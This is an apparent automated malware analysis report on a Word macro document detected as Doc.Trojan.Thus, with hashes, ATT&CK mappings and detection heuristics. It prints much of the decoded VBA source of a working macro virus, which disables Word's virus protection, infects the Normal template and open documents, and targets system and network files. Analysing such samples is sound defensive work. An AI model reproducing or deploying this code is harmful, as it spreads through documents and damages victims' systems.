Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6fbc084b76fa3b28…

MALICIOUS

Office (OLE)

48.5 KB Created: 2001-01-02 13:09:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: aab921dcb082b272ace8d67b8c745703 SHA-1: d5b8cd682e099303ae879bfe538253a492e25f7b SHA-256: 6fbc084b76fa3b28e65520c790db140e81097c2433a5350358438ba0853c366e
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros, including a Document_Open macro, which is a common technique for executing malicious code upon opening a document. The ClamAV heuristics indicate the presence of a known trojan. The VBA code attempts to disable virus protection and manipulate the NormalTemplate, suggesting an intent to establish persistence or download further malicious content.

Heuristics 3

  • ClamAV: Doc.Trojan.Thus-16 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-16
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10813 bytes
SHA-256: 8f250ab73c0c3afd33da302af580c0e4afadd50091789008f14fa5155155f05c
Detection
ClamAV: Doc.Trojan.Thus-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Close()
'Karachi_y2k7'
'rel1.2'
Document_Open
End Sub

Private Sub Document_New()
'Karachi_y2k7'
'rel1.2'
Document_Open
End Sub

Private Sub Document_Open()
'Karachi_y2k7'
'rel1.2'
    Dim ox%, oy%, ix&, iy%, a%
    Dim i As Long, n As Long
    Dim k As Integer, s$, chk0$, chk1$
    On Error GoTo Karachi_become_essential
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Karachi_y2k7'" Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'rel1.2'" Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Karachi_y2k7'" Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines
        End If
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'rel1.2'" Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines
        End If
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
        End If
    Next k
    Open "c:\windows\system\ie3dvu.dll" For Binary As 1
    Get #1, 1, k
    k = k + 1
    Put #1, 1, k
    Close 1
    If k < 25 Then GoTo trimmer
    k = 0
    Open "c:\windows\system\ie3dvu.dll" For Binary As 1
    Put #1, 1, k
    Close 1
    If Day(Now()) Mod 5 = 0 Then Application.ActiveDocument.WritePassword = Application.System.Creator
    s$ = "C:\WINDOWS\SOL.EXE": GoSub Chronicle
    s$ = "C:\WINDOWS\MSHEARTS.EXE": GoSub Chronicle
    s$ = "C:\WINDOWS\FREECELL.EXE": GoSub Chronicle
    If Day(Now()) Mod 3 = 0 Then
        s$ = "C:\WINDOWS\ROUTE.EXE": GoSub Chronicle
        s$ = "C:\WINDOWS\PING.EXE": GoSub Chronicle
        s$ = "C:\WINDOWS\SYSTEM\NETOS.DLL": GoSub Chronicle
        s$ = "C:\WINDOWS\SYSTEM\NETDI.DLL": GoSub Chronicle
        s$ = "C:\WINDOWS\SYSTEM\NETBIOS.DLL": GoSub Chronicle
        s$ = "C:\WINDOWS\SYSTEM\NETAPI.DLL": GoSub Chronicle
        s$ = "C:\WINDOWS\SYSTEM\NETAPI32.DLL": GoSub Chronicle
        If Day(Now()) Mod 6 = 0 Then
            s$ = "C:\WINDOWS\SYSTEM\NETCPL.CPL": GoSub Chronicle
            s$ = "C:\WINDOWS\SYSTEM\INETCPL.CPL": GoSub Chronicle
            s$ = "C:\WINDOWS\SYSTEM\MODEM.CPL": GoSub Chronicle
            s$ = "C:\WINDOWS\SYSTEM\URL.DLL": GoSub Chronicle
            s$ = "C:\WINDOWS\SYSTEM\SENDMAIL.DLL": GoSub Chronicle
            s$ = "C:\WINDOWS\SYSTEM\MAPI32.DLL": GoSub Chronicle
            s$ = "C:\WINDOWS\SYSTEM\INETCOMM.DLL": GoSub Chroni
... (truncated)

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